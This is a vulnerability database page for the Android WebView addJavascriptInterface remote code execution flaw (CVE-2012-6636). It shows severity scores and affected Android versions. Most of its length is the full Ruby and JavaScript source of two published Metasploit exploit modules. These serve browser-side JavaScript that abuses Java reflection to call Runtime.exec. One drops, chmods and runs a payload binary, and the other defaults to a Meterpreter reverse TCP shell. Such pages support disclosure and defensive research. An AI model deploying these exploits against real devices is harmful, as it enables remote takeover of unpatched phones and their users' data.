Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 41675
Publication date : 2012-12-20 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/android'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Android
VULN_CHECK_JS = %Q|
for (i in top) {
try {
top[i].getClass().forName('java.lang.Runtime');
is_vuln = true; break;
} catch(e) {}
}
|
autopwn_info(
:os_name => OperatingSystems::Match::ANDROID,
:arch => ARCH_ARMLE,
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => VULN_CHECK_JS
)
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
This module exploits a privilege escalation issue in Android < 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
APIs exposed by the Interface and execute arbitrary commands.
Some distributions of the Android Browser app have an addJavascriptInterface
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
4.1.2 release of Android is known to be vulnerable.
A secondary attack vector involves the WebViews embedded inside a large number
of Android applications. Ad integrations are perhaps the worst offender here.
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
into the page displayed in the WebView, then you can inject the html/js served
by this module and get a shell.
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
},
'License' => MSF_LICENSE,
'Author' => [
'jduck', # original msf module
'joev' # static server
],
'References' => [
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
['URL', 'http://50.56.33.56/blog/?p=314'],
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
['EDB', '31519'],
['OSVDB', '97520']
],
'Platform' => ['android', 'linux'],
'Arch' => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_name => OperatingSystems::Match::ANDROID,
:vuln_test => VULN_CHECK_JS,
:vuln_test_error => 'No vulnerable Java objects were found in this web context.'
}
))
deregister_options('JsObfuscate')
end
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
# on requests for the static javascript file
def on_request_uri(cli, req)
if req.uri =~ /\.js/
serve_static_js(cli, req)
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
arch = normalize_arch(browser[:arch])
print_status "Serving #{arch} exploit..."
send_response_html(cli, html(arch))
end
# Called when a client requests a .js route.
# This is handy for post-XSS.
def serve_static_js(cli, req)
arch = req.qstring['arch']
response_opts = { 'Content-type' => 'text/javascript' }
if arch.present?
print_status("Serving javascript for arch #{normalize_arch arch}")
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
else
print_status("Serving arch detection javascript")
send_response(cli, static_arch_detect_js, response_opts)
end
end
# This is served to requests for the static .js file.
# Because we have to use javascript to detect arch, we have 3 different
# versions of the static .js file (x86/mips/arm) to choose from. This
# small snippet of js detects the arch and requests the correct file.
def static_arch_detect_js
%Q|
var arches = {};
arches['#{ARCH_ARMLE}'] = /arm/i;
arches['#{ARCH_MIPSLE}'] = /mips/i;
arches['#{ARCH_X86}'] = /x86/i;
var arch = null;
for (var name in arches) {
if (navigator.platform.toString().match(arches[name])) {
arch = name;
break;
}
}
if (arch) {
// load the script with the correct arch
var script = document.createElement('script');
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
script.setAttribute('type', 'text/javascript');
// ensure body is parsed and we won't be in an uninitialized state
setTimeout(function(){
var node = document.body \|\| document.head;
node.appendChild(script);
}, 100);
}
|
end
# @return [String] normalized client architecture
def normalize_arch(arch)
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
end
def html(arch)
"<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
end
end
Exploit Database EDB-ID : 31519
Publication date : 2014-02-06 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_flavor => "Android",
:arch => ARCH_ARMLE,
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => %Q|
for (i in top) {
try {
top[i].getClass().forName('java.lang.Runtime');
is_vuln = true; break;
} catch(e) {}
}
|
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
This module exploits a privilege escalation issue in Android < 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
APIs exposed by the Interface and execute arbitrary commands.
Some distributions of the Android Browser app have an addJavascriptInterface
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
4.1.2 release of Android is known to be vulnerable.
A secondary attack vector involves the WebViews embedded inside a large number
of Android applications. Ad integrations are perhaps the worst offender here.
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
into the page displayed in the WebView, then you can inject the html/js served
by this module and get a shell.
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
},
'License' => MSF_LICENSE,
'Author' => [
'jduck', # original msf module
'joev' # static server
],
'References' => [
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
'addjavascriptinterface-code-execution-vulnerability/'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
['URL', 'http://50.56.33.56/blog/?p=314'],
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
'addjavascriptinterface-remote-code-execution/']
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'DefaultOptions' => { 'PrependFork' => true },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_flavor => "Android",
:arch => ARCH_ARMLE
}
))
end
def on_request_uri(cli, req)
if req.uri.end_with?('js')
print_status("Serving javascript")
send_response(cli, js, 'Content-type' => 'text/javascript')
else
super
end
end
def on_request_exploit(cli, req, browser)
print_status("Serving exploit HTML")
send_response_html(cli, html)
end
def js
%Q|
function exec(obj) {
// ensure that the object contains a native interface
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
// get the runtime so we can exec
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
// get the process name, which will give us our data path
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
var ch, path = '/data/data/';
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
path += '/#{Rex::Text.rand_text_alpha(8)}';
// build the binary, chmod it, and execute it
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
m.invoke(null, null).exec([path]);
return true;
}
for (i in top) { if (exec(top[i]) === true) break; }
|
end
def html
"<!doctype html><html><body><script>#{js}</script></body></html>"
end
end
Products Mentioned
Configuraton 0
Google>>Android >> Version 3.0
Google>>Android >> Version 3.1
Google>>Android >> Version 3.2
Google>>Android >> Version 3.2.1
Google>>Android >> Version 3.2.2
Google>>Android >> Version 3.2.4
Google>>Android >> Version 3.2.6
Google>>Android >> Version 4.0
Google>>Android >> Version 4.0.1
Google>>Android >> Version 4.0.2
Google>>Android >> Version 4.0.3
Google>>Android >> Version 4.0.4
Google>>Android >> Version 4.1
Google>>Android >> Version 4.1.2
References